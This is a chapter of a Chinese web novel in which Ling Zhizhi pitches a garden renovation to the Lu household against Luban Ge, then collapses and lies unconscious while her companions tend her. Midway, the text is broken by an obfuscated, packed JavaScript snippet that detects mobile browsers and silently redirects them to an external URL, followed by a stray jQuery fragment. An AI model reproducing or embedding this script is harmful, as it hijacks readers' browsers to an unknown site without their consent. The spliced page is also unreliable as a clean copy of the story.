第三日就这样说快不快的到来了。
令知知表面看起来波澜不惊,实则手里冒着虚汗。伙计几人又不敢开口问,心里只能装着有些不确定的底气,也跟着踏进了陆家。
一进门,管家就上前招呼,有意无意地提起画师的费用。令知知装傻是一流的,说天气、谈人文,就是不讲银钱。
“令楼主你……”管家被气得上气不接下气。
没想到鲁班阁的人早在此候着,见乌泱泱一群人到厅前,班项迎了上去:“令掌柜来了?”
“班阁主。”令知知行礼。
班项惜才,如上次那样拉下身份,托起令知知的手道:“都是朋友,不必客气。”
令知知左顾右盼的,没想到鲁班阁今日只来了两个人。班项也知道她在看什么,道:“班绫被我送去宋家学习了,今日不在。”
“哦。”令知知故作镇定,表现出一副“我又没问”的样子。
管家这次没有带着人手,孤身一人过来回话:“我们大人有请。”
“陆大人。”两位老板并排行礼。
“坐。”陆朱看上去很神色有些慌张,额边碎发黏在汗珠上,“今晨方才赶回白子城,还未来得及换下官服,二位见谅。”
还是像初次来那样,令知知和孙客坐在北侧,班项坐在南侧。只是不同以往的是,伙计们和鲁班阁的那个随行在门外候着。
令知知扯出官方的笑容,双手撑在膝盖上,不安地扫视着外面那随行手里握着的那卷图纸。
“别怕!”
“加油,掌柜的!”
伙计们和她的眼神对上,还以为她是想和他们交流,在门外为她小声打气。
旁边那个随行倒显得镇定大方,令知知“啧”了一声,伙计们才学着旁边的人安静下来。
“孔明楼的伙计们倒是与令楼主上下一心啊。”听陆朱这语气,似乎有些不满,不知道是不是有人把画像的事告诉他了。
令知知此时心正慌着,脸色都有些差。她苦笑,艰难地咽了好几次口水,但不知为何迟迟开不了口。
孙客见她这副模样,立马反应过来替她解释道:“我们孔明楼没有‘上下’这一说,大家都是一起共事的,是伙伴、是朋友。这样的身份,自然是一心的。”
“好、好啊。”陆朱明显不想再耽搁下去了,“鲁班阁和孔明楼,哪一家作先啊?”
或许令知知此时难受的样子已经十分明显,班项看了她一眼就站起叫来随行,道:“鲁班阁先吧。”
他将画卷铺在木桌上,整个花园构造如同拓印般展现在这张价格不菲的图纸上。
班项老练地卷起袖口,用手指点出几处关键:“首先,陆家花园进门前的照壁不加以修改保持原样,但左手边的连廊扶手改为更为防腐的水曲木,这类木材纹路美观,耐磨性好,与周围的景观放在一起也不突兀。”
他的手又向上抬了抬,指到回廊处。
果然,他也注意到了那些不菲的壁画。
孔明楼的几人瞬间心提到了嗓子眼,仔细地听着班项的解决方案,生怕自己漏掉了什么。
“首先,此处地砖的台阶高度不一致,并且看得出已有磕碰的碎块,应该已经出现过很多次有人在此摔倒的情况。鲁班阁的方案是找平地势,直接将地砖铺平,这样也能减少对老人膝盖的损伤。”
班项在图纸左上角的弧形图案上用指背敲了两下,道:“而因为回廊是半圆形,上午和下午东西方的光线不同,为了不影响观感,可以添置鲁班阁特制的‘昌明灯’,这种灯的烛火被流辉纸包裹,投射的光温和,既不会使壁画表面开裂,又能保持长明,光照的范围也大,只需五盏灯就能将整条回廊照亮。”
昌明灯,已经许久未听过这个名字了。令知知因为心跳过速,捏紧的拳头上的脉络都鼓了起来。
所有人似乎都已经觉察到了她的不适,却唯有孔明楼的几人眼里投射出担忧的目光。
“这就是陛下当年……”陆朱似乎也想起了什么,但又将话咽了回去。
班项为了打消疑虑,解释道:“是。不过现在这灯不是特供给皇室的,已经可以批量生产采购了。”
“令楼主这是怎么了?”管家在一旁,故作惊讶地问,“这才开始呢,难不成孔明楼就要认输了吗?”
令知知此时眼神已不能聚焦,看谁都重影。若谁绕到后方,必能看见她已经汗湿了的背部。她尽量保持着应有的礼仪,挤出笑容道:“无妨。班阁主请继续吧。”
孙客立马掐住她的虎口,只有让她感受到疼痛,才不至于晕过去。
不知道是不是令知知的错觉,接下来班项的讲述变得简洁明了,不再解释原因而是直接给出解决方案。但因为这花园的面积大,问题也多,还是讲了许久。
令知知能感受到,每讲完一个重点,就会有一束关切的目光投来。不过,她只当这是班项对她这个对手的同情怜悯罢了。
如今突然发病,她不知道自己还能不能将这包着孔明楼九个人心血的图纸讲好。
“最后,鲁班阁提议在后门前修建一面隔墙,一来隔去商队的嘈杂声,二来避免直冲街巷,利于财运聚集。以上,就是鲁班阁的方案。”班项快速地结束了讲述。
陆朱叫下人把图纸拿上去,仔细观摩了之后,点点头道:“不错不错。”
管家见班项的方案事无巨细,以为令知知这副模样是想临阵脱逃,佯装关心道:“令楼主,如今您还能讲吗?”
令知知撑着孙客的胳膊起身,朝着陆朱和班项恭恭敬敬地鞠了一躬,然后对着那不怀好意的方向说:“自然。”
她的虎口已经嵌下了好几个指甲印,有几个甚至在渗血,但她像是感觉不到似的。
孙客将令知知的手放在桌子上示意她扶稳,然后拿出图纸铺开。这湖州的称心宣已经是孔明楼对陆家的最大诚意了,实在用不起好的装裱卷轴,只能拿镇尺压着四角。
管家见这穷酸样,故意轻轻“呵”了一声。
“孔明楼的用纸装裱虽然不及鲁班阁的,但内容未必不如鲁班阁的。陆家请我们来,定是也有看中我们的地方,谢管家何必如此。”孙客硬气回怼道。
陆朱也象征性地提示管家:“谢涌。”
“是,老爷。”谢管家拖出一张长凳让令知知坐下,“给令楼主赔罪。”
令知知虽病着,但也不愿给他好脸色,对着孙客说:“我们还是快些讲吧。”
孙客点点头,将凳子抬至一边。
“既然是比试,鲁班阁站着,我们孔明楼自然也不会坐着讲。”令知知手抠着长桌的边,小心地挪动着脚。此时的她,是每迈一步,心跳都如雷鸣般疾驰,仿佛要从胸腔中挣脱出来。
她的手颤抖着点在图纸上,“从入门后的小径到左手边的回廊,石砖材料和颜色的选择过于跳脱,应当统一。同时如鲁班阁所言,地势高低起伏还需找平。”
令知知的唇色已经白了,明明正是热的时候,她的手脚却渐渐冰凉。
谢涌心里嘀咕了一句:是个人都知道,还用得着你说。或许是刚刚的表情过于得意,抬头不想对上了孙客那漆黑的眸子,他瞬间收敛了下来。
“不过据我所知,‘昌明灯’的用料十分昂贵,而且需要人添火换烛,若遇上风雨天,实在有些耗费人力物力。”
她难受地咽了咽口水,似是没有缓解多少,强忍着不适继续道:“我们孔明楼的方法是在西北、东北两方回廊檐边放置一排反光铜镜,晨时西北面光,拉下装置阳光反射至东北面;午后东北面光,拉下另一边的装置将光均匀反射至西北面。若是再刷上我们孔明楼特质的亮漆,即使是阴天微弱的光,也能将光聚集起来反射出去。”
小蟹适时拿进来一个缩小版的机关,灵活地在烛火前演示着。众人惊叹。
“这种装置用料简单便宜,或许几年才需要更换一次,能省下不少钱。”孙客在旁边补充道。
令知知笑着,却不知自己已经渐渐无力,瘫软缩了下去。
孙客赶紧拖住他,孔明楼的伙计们见大事不妙都冲了进来,一个个嘴里喊着令知知的名字。
令知知的眼睛已经睁不开了,只能从缝隙中看着自己被簇拥着爬上孙客的背,身体的不适让她无法说出“小心你的伤口”这句话,只能拼尽最后的力气抵抗着。
孙客似乎明白了她的意思,担忧急切地说:“穿了,我穿了软甲。”
听了这话,令知知才放心地晕了过去。
她并不是长长地睡了一觉,而像是她的灵魂被困在这具躯体里了一样。她能感受到有人替她擦脸、换衣,也能听见周围人絮絮叨叨地在说些什么。
可惜,那些简单的字眼,她却听不懂了。
我是死了吗?令知知常在想。
但她的喉咙能感受到温热的、却不苦涩的汤药,也能嗅到段邤送来的花香烛的清香,偶尔,能辨别出孙客在她的手心里写着什么。
我应该没死。她又想。
就这样,好几日无眠的躺着。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442152|163112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虎口时不时传来细微的阵痛,应该是孙客吧。
她好想问,孔明楼是不是输了。她在躯体中责怪自己,恨不得抬手扇醒自己给大家跪下道歉。
可此时,热泪从脸上滑落,她都无法羞愧地将头埋入被褥中。所有的屈辱,似乎都被光明正大地摊在大家面前。
某一夜,她的手又是被另一只大手握着,几个人进进出出,嘴里一直念叨着什么。
但她顾不得去细听内容,她只觉得她的背好痛,她能感受到自己的手脚开始冒汗,热得像一盆火。
扑通、扑通……
心跳的声音在她耳边无限放大,像是被装进了西域的皮鼓里任人敲打。是极为陌生的濒死感,她知道这就快要晕死过去了。
耳边传来巨大的轰鸣声,像是蜜蜂钻进了她的脑袋里拼了命地振翅。
尖锐的耳鸣之后,她失去了意识。这次是真的昏睡了过去,毫无意识的、无法挽救的。
黄昏和黎明交替,日子竟然也过得快了一些。
孔明楼似乎已经人去楼空,白日里见不到一个人。只有乌鸦感受不到此处的压抑,时不时在令知知的窗前落脚,发出那令人厌恶的、凄厉的哑吼。
陈鱼低下头去找承桑栩求药,那百医行一丸千金的药一颗颗的喂下去,却是毫无效果。她也不信邪,只能一处处地去寻那些隐居山林的游医,妄图能获得什么灵丹妙药。
雨忽然就连下了好几日,雨声时大时小,令知知的脉搏也时强时浅。
还好,终于捱到了一个大晴天。
楼下的喜况似乎有些不合时宜,断断续续地放了一上午的炮竹,这天也是自比试之后,孔明楼的人聚得最齐的一次。
大家趴在令知知的床边,挨个和她说着自己最近做了些什么事,最近城里又传来什么八卦。不过不能免俗的,还是大家说着说着都开始掉眼泪,吵着要分享自己有多想念那个活蹦乱跳的令知知。
那日是八月二十三,令知知的生辰。
夜晚,大家把窗户打开,数着一二三。
“三”字才说出口,一束烟花冲破夜空,像极了神话里的银蛇窜如云霄。
紧接着,一片色彩斑斓的璀璨银光炸在黑幕中。
那些绚丽光影照在令知知沉睡着的脸上,而她的双眼紧闭,对外界的一切毫不知情。
周围的人们,或许是满怀希望地期待她能在烟花的绽放下睁开眼,可待到烟花绽放时产生的烟雾都四散而去,她都任何没有苏醒的兆头。
大家一个接一个不舍地和她道别,最后只留下孙客一个人守着她。
孙客还是经常在令知知的手上写字。
那时候,他们从宫中逃出,被陈鱼、阮徽救回一条命后,在药铺里帮忙打下手。
有一次,一男子气冲冲地跑进来抓着令知知的手就往外冲,走到街巷上说是令知知抓错了药,导致药物相克,害得他不足六岁的儿子惨死家中。
令知知自然不能被凭白诬陷了去,立马要求那男子出示药方。可来往的人群将他们围在一起,不分青红皂白地要求令知知给个说法,令知知喉咙都叫哑了,也没人听她一句话。
就在那时,她也这样晕死了过去。
阮徽说令知知身体上没有毛病,是心病。一旦受到超出心里承受能力的刺激,就会身心崩溃。这种病的可怕之处在于,就算能得到短暂的治愈,但之后在类似的情境下,患者还是会四肢瘫软、惊恐心悸,甚至屏息休克。
在那段难捱的时间里,孙客发现令知知虽晕了过去,却能感受到自己摩挲她的手心,甚至有时还能分辨他在手心里写了什么字。
他写:难受?
令知知皱了下眉头。
何处?
她的小指微微翘起。
她是把身体从上到下的部位对应到手指上。
他立马明白了她的意思,于是将被子掀开按摩起她的脚心、小腿。她也舒展开了眉。
她有时用中指点了点,他就帮她擦洗按摩后背。
等她醒了,她有时还用这种方式逗孙客。时不时用食指抠着孙客的手心,他也惯着她,帮她按摩起肩颈来。
阮徽说过,令知知将要晕厥时,可以用力掐她的虎口,感受到身体的疼痛能让她暂时清醒些。
但偏偏这次,令知知像是什么也感受不到。
孙客一夜又一夜的守在她身侧,就期盼着她能感受到有人在陪着她,哪怕是她能用表情告诉他痛了痒了也好。
他只想让她别害怕。